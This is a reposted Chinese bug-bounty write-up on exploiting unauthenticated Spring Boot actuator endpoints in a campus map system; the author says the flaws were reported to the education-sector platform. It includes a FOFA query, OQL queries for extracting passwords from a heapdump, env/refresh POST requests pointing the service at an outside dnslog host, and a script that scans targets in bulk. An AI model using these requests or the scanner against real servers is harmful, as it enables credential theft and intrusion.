好文分享 - 记一次edusrc的漏洞挖掘

admin 2022年4月27日11:41:37评论88 views字数 2452阅读8分10秒阅读模式
文章作者:Cobra文章链接: http://chiza.gitee.io/2022/02/28/%E8%AE%B0%E4%B8%80%E6%AC%A1edusrc%E7%9A%84%E6%8C%96%E6%8E%98/


0x01 前言

在fofa上闲逛的时候发现这个系统,其实之前也碰到过这个系统,当时可能觉得没什么漏洞点就没有管,正好闲着没事又碰到了这个系统,然后就拿过来简单的测试了一下!


0x02 漏洞挖掘

1、信息收集

由于我是在fofa上发现的这个系统,所以也谈不上什么信息收集,我就直接贴了fofa搜索语法

app="校园地图服务系统"

好文分享 - 记一次edusrc的漏洞挖掘


2、漏洞挖掘

(1) 主页就是一个简单的地图界面

好文分享 - 记一次edusrc的漏洞挖掘


(2) 使用dirsearch浅扫一下目录吧,结果还真扫出点东西

好文分享 - 记一次edusrc的漏洞挖掘


(3) /actuator/env这不是springboot未授权么,后面测试了几个同样的站,都是未授权,这不让我掏上了么。(高兴归高兴,但是貌似存在漏洞的只有五六个站)


3、springboot 未授权

(1) 直接访问/env目录,拿到数据库信息

好文分享 - 记一次edusrc的漏洞挖掘


(2) 访问/heapdump目录下载网站的堆转储文件

好文分享 - 记一次edusrc的漏洞挖掘


(3) 使用Eclipse Memory Analyzer工具分析,利用该工具的OQL查询功能,查询password关键字得到数据库连接密码,查询语句如下:

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
好文分享 - 记一次edusrc的漏洞挖掘


既然/env目录可以访问,那RCE肯定少不了


4、spring boot RCE

(1) 访问 http://xxx.xxx.xxx/actuator/env 并抓包,修改数据包为

POST /openapi/actuator/env HTTP/1.1Host: IPContent-Type: application/jsonContent-Length: 85
{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your.dnslog.cn"}
好文分享 - 记一次edusrc的漏洞挖掘


(2) 刷新配置,修改数据包为

POST /openapi/actuator/refresh HTTP/1.1Host: IPUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0Content-Type: application/json
好文分享 - 记一次edusrc的漏洞挖掘


发送数据包后dnslog收到响应

好文分享 - 记一次edusrc的漏洞挖掘


(3) 再次访问/env目录可以发现我们的dnslog地址已经写入

好文分享 - 记一次edusrc的漏洞挖掘


0x03 批量脚本

批量脚本是结合fofa爬取IP,再利用poc进行漏洞验证

import requestsimport base64from lxml import etreeimport timesearch_data='"校园地图服务系统"'
headers={ 'cookie':'fofa.cookie',}for Page_number in range(1,3): url='https://fofa.info/result?page='+str(Page_number)+'&qbase64=' search_data_bs=str(base64.b64encode(search_data.encode("utf-8")), "utf-8") urls=url+search_data_bs #print(urls) try: print('正在爬取第' + str(Page_number) + '页') result=requests.get(urls,headers=headers).content.decode('utf-8') #print(result) soup = etree.HTML(result) ip_data=soup.xpath('//a[@target="_blank"]/@href') ipdata='n'.join(ip_data) print(ip_data) with open(r'ip.txt', 'a+') as f: f.write(ipdata+'n') f.close() time.sleep(0.5) except Exception as e: pass

payload='/openapi/actuator/env'for ip in open('ip.txt'): ip=ip.replace('n','') new_url=ip+payload #print(new_url) try: result=requests.get(new_url).content.decode('utf-8') code=requests.get(new_url).status_code print("check_ip->"+ip) if 'activeProfiles' in result and code==200: print(('33[31m存在漏洞的URL->'),new_url) print('33[0m') with open(r'result.txt','a+') as f: f.write(ip+'n') f.close() time.sleep(0.5) except Exception as e: pass
好文分享 - 记一次edusrc的漏洞挖掘


0x03 后记

这次其实是一个比较简单的案例,可能是其他师傅没有去测这个系统,正好我运气不错碰到了,其实很多时候许多师傅看到这样的系统就觉得没必要去测(我之前碰到的时候也是这样想的)。所以我们在漏洞挖掘过程中还是要考虑到各种漏洞存在的可能。


上述漏洞已全部上报教育行业漏洞报告平台,如果上述有写的不对的地方,还请各位师傅多多包涵。



原文始发于微信公众号(Hack分享吧):好文分享 - 记一次edusrc的漏洞挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年4月27日11:41:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   好文分享 - 记一次edusrc的漏洞挖掘http://cn-sec.com/archives/949979.html

发表评论

匿名网友 填写信息